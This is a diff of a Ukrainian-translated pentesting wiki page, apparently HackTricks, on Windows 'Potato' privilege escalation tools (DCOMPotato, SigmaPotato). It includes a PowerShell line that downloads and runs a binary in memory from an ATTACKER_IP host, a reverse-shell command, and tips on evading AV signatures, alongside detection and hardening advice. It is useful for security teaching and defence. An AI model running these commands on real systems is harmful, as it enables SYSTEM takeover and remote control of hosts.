DCOMPotato пропонує два варіанти, спрямовані на сервісні DCOM-об'єкти, які за замовчуванням мають RPC_C_IMP_LEVEL_IMPERSONATE. Скомпілюйте або використайте надані бінарні файли та запустіть вашу команду:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -137,9 +138,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (updated GodPotato fork)
### SigmaPotato (оновлений форк GodPotato)
SigmaPotato додає сучасні зручності, такі як in-memory execution через .NET reflection та PowerShell reverse shell helper.
SigmaPotato додає сучасні зручності, такі як виконання в пам'яті через .NET reflection та PowerShell reverse shell helper.
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -148,15 +149,15 @@ SigmaPotato додає сучасні зручності, такі як in-memor
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
```
## Примітки щодо виявлення та захисту
## Примітки щодо виявлення та посилення захисту
- Моніторьте процеси, які створюють іменовані пайпи та одразу викликають token-duplication APIs, а потім CreateProcessAsUser/CreateProcessWithTokenW. Sysmon може надати корисну телеметрію: Event ID 1 (створення процесу), 17/18 (іменований пайп створено/підключено) та командні рядки, що породжують дочірні процеси від імені SYSTEM.
- Spooler hardening: Вимкнення служби Print Spooler на серверах, де вона не потрібна, перешкоджає атакам на локальне підвищення привілеїв у стилі PrintSpoofer через spoolss.
- Service account hardening: Мінімізуйте призначення SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege кастомним сервісам. Розгляньте запуск сервісів під віртуальними обліковими записами з мінімально необхідними привілеями та ізоляцією за допомогою service SID і токенів з обмеженням на запис, коли це можливо.
- Network controls: Блокування вихідних TCP/135 або обмеження трафіку RPC endpoint mapper може зламати RoguePotato, якщо не доступний внутрішній редиректор.
- EDR/AV: Всі ці інструменти широко підписані сигнатурами. Перекомпіляція з вихідників, перейменування символів/рядків або виконання в пам'яті може знизити виявлення, але не обійде надійні поведінкові детекції.
- Слідкуйте за процесами, які створюють named pipes і відразу викликають token-duplication APIs, а потім CreateProcessAsUser/CreateProcessWithTokenW. Sysmon може показувати корисну телеметрію: Event ID 1 (process creation), 17/18 (named pipe created/connected) та командні рядки, що створюють дочірні процеси під SYSTEM.
- Посилення захисту Spooler: відключення служби Print Spooler на серверах, де вона не потрібна, запобігає локальним примусам у стилі PrintSpoofer через spoolss.
- Посилення захисту облікових записів служб: мінімізуйте призначення SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege для користувацьких сервісів. Розгляньте запуск служб під віртуальними обліковими записами з мінімально необхідними привілеями та їх ізоляцію за допомогою service SID і write-restricted токенів, коли це можливо.
- Мережеві контролі: блокування вихідного TCP/135 або обмеження трафіку RPC endpoint mapper може зламати RoguePotato, якщо відсутній внутрішній редиректор.
- EDR/AV: всі ці інструменти широко розпізнаються за сигнатурами. Перекомпіляція з вихідників, перейменування символів/рядків або виконання в пам'яті можуть зменшити ймовірність виявлення, але не подолають надійну поведінкову детекцію.
## Джерела
## Посилання
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
@ -167,5 +168,7 @@ SigmaPotato додає сучасні зручності, такі як in-memor
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
- [FullPowers Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
{{#include ../../banners/hacktricks-training.md}}